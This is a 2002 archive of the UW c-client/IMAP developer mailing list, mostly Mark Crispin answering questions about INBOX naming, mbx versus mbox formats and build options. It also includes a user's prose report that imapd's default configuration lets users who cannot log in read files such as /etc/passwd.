pinedev@shivax2.cac.washington.edu Tue Dec 3 18:13:59 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:13:59 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42Dxqt024979 for ; Tue, 3 Dec 2002 18:13:59 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 03 18:13:58 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42Du0B021213 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:13:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42DHHH041270; Tue, 3 Dec 2002 18:13:17 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42Bcrw021712 for ; Tue, 3 Dec 2002 18:11:38 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 18:11:38 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42Bc8J031394 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 18:11:38 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42BcEC000571 for ; Tue, 3 Dec 2002 18:11:38 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 03 18:11:37 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42BamZ029611 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 18:11:37 -0800 Message-Id: Date: Tue, 3 Dec 2002 18:11:32 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Dec 2002, David Morsberger wrote: > Why does imap2001a work with inbox vs. INBOX and treat empty files as mbox > files? imap-2001a has never accepted a file called "inbox". An empty file has never been an mbx file. It could be an mbox file, but only if it is called "mbox". Could you have been running a hacked version? If so, I don't know anything about it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 18:27:15 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:27:15 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42RFqt025212 for ; Tue, 3 Dec 2002 18:27:15 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 03 18:27:14 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42RD0B021512 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:27:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42QUaQ011646; Tue, 3 Dec 2002 18:26:30 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42OXrw030070 for ; Tue, 3 Dec 2002 18:24:33 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 18:24:32 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42OV8I001564 for ; Tue, 3 Dec 2002 18:24:32 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066302; Tue, 03 Dec 2002 21:24:12 -0500 Message-Id: Date: Tue, 03 Dec 2002 21:24:10 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Mark Crispin Cc: Subject: Re: imapd In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I do not think it is a hacked version. The only change was mailsubdir. Is it possible that inbox was treated as a regular / non-special mail folder? I understand that a mbx file will never be empty. I thought the type is automatically determined and an empty file will be treated as a unix type. The goal is to have INBOX be a unix file type and all others a mbx type. Most users use pop and a local mail tool to access the INBOX. The imap users who use separate imap folders can transparently take advantage of the mbx file type. I personally do not use INBOX because I want to use the concurrent features of the mbox file type. The last line in my .procmailrc file is: | dmail +Input Thanks, Dave > From: Mark Crispin > Organization: Networks & Distributed Computing > Date: Tue, 03 Dec 2002 18:11:32 -0800 (Pacific Standard Time) > To: David Morsberger > Cc: c-client@u.washington.edu > Subject: Re: imapd > > On Tue, 3 Dec 2002, David Morsberger wrote: >> Why does imap2001a work with inbox vs. INBOX and treat empty files as mbox >> files? > > imap-2001a has never accepted a file called "inbox". > > An empty file has never been an mbx file. It could be an mbox file, but > only if it is called "mbox". > > Could you have been running a hacked version? If so, I don't know > anything about it. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 18:30:40 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:30:40 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42Ueqt025270 for ; Tue, 3 Dec 2002 18:30:40 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 03 18:30:39 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42UcS9029517 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:30:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42UAHH014866; Tue, 3 Dec 2002 18:30:10 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42STrw039480 for ; Tue, 3 Dec 2002 18:28:29 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 18:28:29 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42SSDe013497 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 18:28:28 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.170]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42SSEC002671 for ; Tue, 3 Dec 2002 18:28:28 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Dec 03 18:28:26 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42SPmZ030123 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 18:28:26 -0800 Message-Id: Date: Tue, 3 Dec 2002 18:28:19 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Dec 2002, David Morsberger wrote: > The goal is to have INBOX be a unix file type and all others a mbx type. The name INBOX in the home directory is reserved to the mbx format. A traditional unix format inbox is either the spool directory file or file "mbox" in the home directory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 18:44:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:44:33 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42iXqt025522 for ; Tue, 3 Dec 2002 18:44:33 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 18:44:32 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42iV0B021869 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:44:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42i0HH029350; Tue, 3 Dec 2002 18:44:00 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42fvrw039640 for ; Tue, 3 Dec 2002 18:41:57 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 18:41:56 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42ftDd016234 for ; Tue, 3 Dec 2002 18:41:56 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066313; Tue, 03 Dec 2002 21:41:31 -0500 Message-Id: Date: Tue, 03 Dec 2002 21:41:30 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Mark Crispin Cc: Subject: Re: imapd In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Thanks for your time! That cleared it up. If I need a unix file type for INBOX then should I rebuild with CREATEPROTO=unixproto and use the imap client and tools to create mbx mailboxes? > From: Mark Crispin > Date: Tue, 03 Dec 2002 18:28:19 -0800 (Pacific Standard Time) > To: David Morsberger > Cc: c-client@u.washington.edu > Subject: Re: imapd > > On Tue, 3 Dec 2002, David Morsberger wrote: >> The goal is to have INBOX be a unix file type and all others a mbx type. > > The name INBOX in the home directory is reserved to the mbx format. > > A traditional unix format inbox is either the spool directory file or file > "mbox" in the home directory. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 18:46:48 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:46:48 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42kmqt025557 for ; Tue, 3 Dec 2002 18:46:48 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 03 18:46:47 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42kkS9029847 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:46:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42k8g2094846; Tue, 3 Dec 2002 18:46:09 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42iKrw033360 for ; Tue, 3 Dec 2002 18:44:20 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 03 18:44:19 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42iJ8J005780 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 18:44:19 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42iJVM020523 for ; Tue, 3 Dec 2002 18:44:19 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 03 18:44:18 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42iImZ030523 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 18:44:18 -0800 Message-Id: Date: Tue, 3 Dec 2002 18:44:09 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Dec 2002, David Morsberger wrote: > If I need a unix file type for INBOX then should I rebuild with > CREATEPROTO=unixproto and use the imap client and tools to create mbx > mailboxes? CREATEPROTO decides what to do for new files. If you don't have one of the special file names (~/INBOX for mbx, ~/mbox for traditional UNIX, ~/mail.txt for tenex) for a home-directory based INBOX, then INBOX is always the spool directory file in traditional UNIX format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Dec 4 02:23:43 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Dec 2002 02:23:43 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4ANgqt005980 for ; Wed, 4 Dec 2002 02:23:42 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Dec 04 02:23:41 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4ANf0B031477 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 4 Dec 2002 02:23:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4AIpHH015258; Wed, 4 Dec 2002 02:18:52 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4AGbrw019566 for ; Wed, 4 Dec 2002 02:16:37 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Dec 04 02:16:37 2002 -0800 Received: from mid-2.inet.it (mid-2.inet.it [213.92.5.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4AGaMb019719 for ; Wed, 4 Dec 2002 02:16:36 -0800 Received: from [::ffff:213.92.1.237] by mid-2.inet.it via I-SMTP-4.3.2-430 id ::ffff:213.92.1.237+dDuMEyL4yKD9; Wed, 04 Dec 2002 11:16:35 +0100 Message-Id: <7742EC7A-0771-11D7-BEB1-0003934A5A7E@inet.it> Date: Wed, 4 Dec 2002 11:16:34 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Subject: modifying the namespaces Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I was wondering if there are people who have modified the namespaces in UW-IMAP and what there experience with it is. I have made some modification myself, but find in many places somehow hard-coded references to a namespace. I also noticed that a mailbox is not in a single place is mapped into one of the defined namespaces. What kind of experience have others, if any, ciao, Harrie Software developer, Technical Department -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 4 08:41:09 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Dec 2002 08:41:09 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4Gf9qt016294 for ; Wed, 4 Dec 2002 08:41:09 -0800 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Dec 04 08:41:08 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4Gf6S9015531 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 4 Dec 2002 08:41:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4GePg2004288; Wed, 4 Dec 2002 08:40:26 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4Gbdrw041894 for ; Wed, 4 Dec 2002 08:37:39 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Dec 04 08:37:38 2002 -0800 Received: from hotmail.com (f28.law12.hotmail.com [64.4.19.28]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4GbcMb022085; Wed, 4 Dec 2002 08:37:38 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 4 Dec 2002 08:37:37 -0800 Received: from 192.169.41.34 by lw12fd.law12.hotmail.msn.com with HTTP; Wed, 04 Dec 2002 16:37:37 GMT Message-Id: Date: Wed, 04 Dec 2002 16:37:37 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "lee tien soon" To: imap@u.washington.edu, c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [192.169.41.34] X-OriginalArrivalTime: 04 Dec 2002 16:37:37.0980 (UTC) FILETIME=[74BD27C0:01C29BB3] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I need to connect my Pocket PC to the IMAP server (Microsoft Exchange Server), do I need to write a seperate socket TCP connection via port 143 to the IMAP server before I can do the authentication to the server or can I make use of the IMAP API to do it. Regards Tien Soon _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 4 08:47:01 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Dec 2002 08:47:01 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4Gl1qt016597 for ; Wed, 4 Dec 2002 08:47:01 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Dec 04 08:47:00 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4Gkx0B007875 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 4 Dec 2002 08:47:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4GkLg2089866; Wed, 4 Dec 2002 08:46:21 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB4GiKrw018560 for ; Wed, 4 Dec 2002 08:44:20 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Dec 04 08:44:19 2002 -0800 Received: from hotmail.com (f65.law12.hotmail.com [64.4.19.65]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB4GiIMb023884; Wed, 4 Dec 2002 08:44:18 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 4 Dec 2002 08:44:18 -0800 Received: from 192.169.41.34 by lw12fd.law12.hotmail.msn.com with HTTP; Wed, 04 Dec 2002 16:44:18 GMT Message-Id: Date: Wed, 04 Dec 2002 16:44:18 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "lee tien soon" To: imap@u.washington.edu, c-client@u.washington.edu Subject: IMAP server connection Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [192.169.41.34] X-OriginalArrivalTime: 04 Dec 2002 16:44:18.0753 (UTC) FILETIME=[639E4310:01C29BB4] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I need to connect my Pocket PC to the IMAP server (Microsoft Exchange Server), do I need to write a seperate socket TCP connection via port 143 to the IMAP server before I can do the authentication to the server or can I make use of the IMAP API to do it? Regards Tien Soon _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 6 01:41:17 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Dec 2002 01:41:17 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB69fHqt027473 for ; Fri, 6 Dec 2002 01:41:17 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 06 01:41:17 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB69fG0B007161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 6 Dec 2002 01:41:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB69eGaQ020912; Fri, 6 Dec 2002 01:40:16 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB69bOrw031544 for ; Fri, 6 Dec 2002 01:37:24 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Dec 06 01:37:24 2002 -0800 Received: from mid-1.inet.it (mid-1.inet.it [213.92.5.18]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB69bMMb014593 for ; Fri, 6 Dec 2002 01:37:23 -0800 Received: from [::ffff:213.92.1.237] by mid-1.inet.it via I-SMTP-4.3.3-430 id ::ffff:213.92.1.237+P9659vn9wyrT; Fri, 06 Dec 2002 10:37:21 +0100 Message-Id: <533B1BD6-08FE-11D7-BEB1-0003934A5A7E@inet.it> Date: Fri, 6 Dec 2002 10:37:24 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Subject: Fwd: Error Condition Re: Re: imap 2002a Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, On Friday, December 6, 2002, at 02:03 AM, Mark Crispin wrote: > On Thu, 5 Dec 2002, Tomki wrote: > On the ftp site, I see that the archive imap-2002 is no longer in > place, > but the development archive is. > Does this indicate such a problem with imap-2002 that the dev version > should be used instead? > > Yes. A problem has been discovered Does this mean the security whole (OK, you, Mark, don't think so) is fixed?? Just that you know, I even set a login-shell for a user on /usr/bin/false in order to disallow the user to login. Then connecting via uw-imap/imapd I can almost select any file the user could see if he could login, except those that do not get recognized as some mailbox format. This breaks the concept of IMAP does not have to disallow access to files which a user could have retrieved otherwise. For instance, the user who cannot login can never see the /etc/passwd-file, but via IMAP the user can with the default configuration. If that gets fixed would be great. Harrie ------------------------------------------------------------------ Author of MOD-SNMP, enabling SNMP management of Apache HTTP server From pinedev@shivax2.cac.washington.edu Fri Dec 6 12:43:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Dec 2002 12:43:33 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KhXqt016613 for ; Fri, 6 Dec 2002 12:43:33 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 06 12:43:32 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB6KhVS9001594 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 6 Dec 2002 12:43:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KgkaQ009968; Fri, 6 Dec 2002 12:42:46 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu 